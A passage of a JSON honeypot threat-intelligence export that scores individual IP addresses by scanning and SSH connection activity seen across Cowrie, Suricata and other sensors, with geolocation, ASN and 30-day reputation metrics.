      "last_seen": "2026-05-21T06:28:01.965Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cuiab\u00e1",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:36:20.129000+00:00",
        "last_seen_30d": "2026-05-21T06:29:09.341000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "114.138.100.75": {
      "attack_count": 8,
      "first_seen": "2026-05-20T03:39:23.480Z",
      "last_seen": "2026-05-20T03:59:22.773Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:39:23.480000+00:00",
        "last_seen_30d": "2026-05-20T04:00:33.002000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "144.22.177.153": {
      "attack_count": 8,
      "first_seen": "2026-05-09T01:52:02.751Z",
      "last_seen": "2026-05-09T01:52:52.933Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:52:02.751000+00:00",
        "last_seen_30d": "2026-05-09T01:53:57.802000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "167.88.165.106": {
      "attack_count": 8,
      "first_seen": "2026-05-20T03:08:43.903Z",
      "last_seen": "2026-05-20T03:08:44.429Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:08:43.903000+00:00",
        "last_seen_30d": "2026-05-20T03:09:53.310000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 8
      }
    },
    "190.249.178.10": {
      "attack_count": 8,
      "first_seen": "2026-05-30T02:55:14.765Z",
      "last_seen": "2026-05-30T03:01:19.856Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T02:55:14.765000+00:00",
        "last_seen_30d": "2026-05-30T03:12:03.028000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "63.141.195.202": {
      "attack_count": 8,
      "first_seen": "2026-05-26T04:33:19.543Z",
      "last_seen": "2026-05-26T04:43:12.703Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fort Wayne",
      "asn": 3257,
      "as_org": "GTT Communications Inc.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T04:33:19.543000+00:00",
        "last_seen_30d": "2026-05-26T04:53:18.262000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "104.152.52.244": {
      "attack_count": 7,
      "first_seen": "2026-05-03T05:15:28.895Z",
      "last_seen": "2026-05-07T05:01:13.959Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T05:15:28.895000+00:00",
        "last_seen_30d": "2026-05-24T05:03:37.235000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 7,
        "Dionaea": 3
      }
    },
    "120.48.55.108": {
      "attack_count": 6,
      "first_seen": "2026-05-15T23:54:06.834Z",
      "last_seen": "2026-05-15T23:56:09.721Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T23:54:06.834000+00:00",
        "last_seen_30d": "2026-05-31T15:21:16.999000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "168.144.119.9": {
      "attack_count": 6,
      "first_seen": "2026-05-12T08:39:15.743Z",
      "last_seen": "2026-05-12T08:39:16.047Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:27:31.773000+00:00",
        "last_seen_30d": "2026-05-12T08:40:20.133000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "171.109.111.69": {
      "attack_count": 6,
      "first_seen": "2026-05-20T08:24:34.288Z",
      "last_seen": "2026-05-20T08:26:34.926Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 138169,
      "as_org": "China Telecom",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T01:58:24+00:00",
        "last_seen_30d": "2026-05-20T08:36:36.468000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6,
        "Honeytrap": 3
      }
    },
    "176.9.45.29": {
      "attack_count": 6,
      "first_seen": "2026-05-27T07:52:29.971Z",
      "last_seen": "2026-05-27T07:52:36.291Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:52:29.971000+00:00",
        "last_seen_30d": "2026-05-27T07:53:44.451000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.175.143.150": {
      "attack_count": 6,
      "first_seen": "2026-05-23T19:51:43.258Z",
      "last_seen": "2026-05-23T20:08:48.443Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 265663,
      "as_org": "BOCA ROJA S.A.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:51:43.258000+00:00",
        "last_seen_30d": "2026-05-23T20:09:53.155000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "111.33.71.238": {
      "attack_count": 5,
      "first_seen": "2026-05-17T02:30:20.222Z",
      "last_seen": "2026-05-17T02:30:22.450Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Parking123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Tianjin",
      "asn": 38019,
      "as_org": "tianjin Mobile Communication Company Limited",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:30:20.222000+00:00",
        "last_seen_30d": "2026-05-17T02:31:25.099000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "115.190.160.80": {
      "attack_count": 5,
      "first_seen": "2026-05-29T12:39:43.207Z",
      "last_seen": "2026-05-29T12:39:46.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "uap"
      ],
      "passwords_attempted": [
        "uap"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T12:39:43.207000+00:00",
        "last_seen_30d": "2026-05-29T12:40:48.691000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "65.49.1.202": {
      "attack_count": 5,
      "first_seen": "2026-05-12T18:26:33.107Z",
      "last_seen": "2026-05-27T11:18:04.258Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 316,
        "days_active_30d": 30,
        "ports_targeted_30d": 90,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T06:47:35+00:00",
        "last_seen_30d": "2026-05-31T07:05:36.408000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 98,
        "Mailoney": 12,
        "Miniprint": 8,
        "Cowrie": 5,
        "Dionaea": 3,
        "ConPot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1
      }
    },
    "117.50.245.253": {
      "attack_count": 4,
      "first_seen": "2026-05-02T19:01:48.027Z",
      "last_seen": "2026-05-07T08:47:51.333Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T19:01:48.027000+00:00",
        "last_seen_30d": "2026-05-21T04:31:05.781000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 10,
        "Cowrie": 4
      }
    },
    "147.185.132.72": {
      "attack_count": 4,
      "first_seen": "2026-05-11T10:39:26.767Z",
      "last_seen": "2026-05-11T10:39:29.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T04:37:47.393000+00:00",
        "last_seen_30d": "2026-05-31T13:51:27.381000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 30,
        "Cowrie": 4,
        "Dionaea": 3,
        "H0neytr4p": 1
      }
    },
    "165.227.130.62": {
      "attack_count": 4,
      "first_seen": "2026-05-16T08:06:52.303Z",
      "last_seen": "2026-05-16T08:07:02.518Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 67.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.5,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 23,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T12:35:41+00:00",
        "last_seen_30d": "2026-05-24T02:27:10.527000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 150,
        "Honeytrap": 69,
        "Cowrie": 4,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "172.105.169.180": {
      "attack_count": 4,
      "first_seen": "2026-05-21T03:43:18.949Z",
      "last_seen": "2026-05-21T03:43:19.594Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2875,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-21T03:43:10+00:00",
        "last_seen_30d": "2026-05-21T03:53:38.288000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1521,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "181.78.67.138": {
      "attack_count": 4,
      "first_seen": "2026-05-04T02:46:37.557Z",
      "last_seen": "2026-05-04T02:48:38.986Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Barranquilla",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T02:46:37.557000+00:00",
        "last_seen_30d": "2026-05-04T02:59:37.483000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "205.210.31.29": {
      "attack_count": 4,
      "first_seen": "2026-05-15T04:24:09.777Z",
      "last_seen": "2026-05-15T04:24:13.303Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 25,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T04:19:52+00:00",
        "last_seen_30d": "2026-05-31T15:44:57.213000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 6,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "3.148.244.253": {
      "attack_count": 4,
      "first_seen": "2026-05-24T13:52:57.230Z",
      "last_seen": "2026-05-24T13:58:00.039Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T13:16:18+00:00",
        "last_seen_30d": "2026-05-24T14:24:53.006000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Honeytrap": 24,
        "Cowrie": 4
      }
    },
    "65.49.1.194": {
      "attack_count": 4,
      "first_seen": "2026-05-09T13:55:38.796Z",
      "last_seen": "2026-05-09T13:55:42.796Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 70.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 21,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-08T03:41:01.296000+00:00",
        "last_seen_30d": "2026-05-28T04:46:00.326000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1,
        "Miniprint": 1
      }
    },
    "86.160.205.172": {
      "attack_count": 4,
      "first_seen": "2026-05-21T04:55:22.630Z",
      "last_seen": "2026-05-21T04:57:29.205Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Liverpool",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T04:55:22.630000+00:00",
        "last_seen_30d": "2026-05-21T05:08:23.245000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "119.180.46.67": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:00:53.132Z",
      "last_seen": "2026-05-05T17:01:06.039Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:00:53.132000+00:00",
        "last_seen_30d": "2026-05-05T17:02:15.178000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.253.102.110": {
      "attack_count": 2,
      "first_seen": "2026-05-25T01:37:08.390Z",
      "last_seen": "2026-05-25T01:37:38.928Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:37:08.390000+00:00",
        "last_seen_30d": "2026-05-25T01:38:41.747000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "176.65.139.12": {
      "attack_count": 2,
      "first_seen": "2026-05-30T02:18:40.647Z",
      "last_seen": "2026-05-30T02:18:40.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T02:18:40.647000+00:00",
        "last_seen_30d": "2026-05-30T02:19:45.785000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "177.82.60.132": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:46:44.639Z",
      "last_seen": "2026-05-03T05:46:58.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ja\u00fa",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 1.8,
      "threat_level": "minimal",
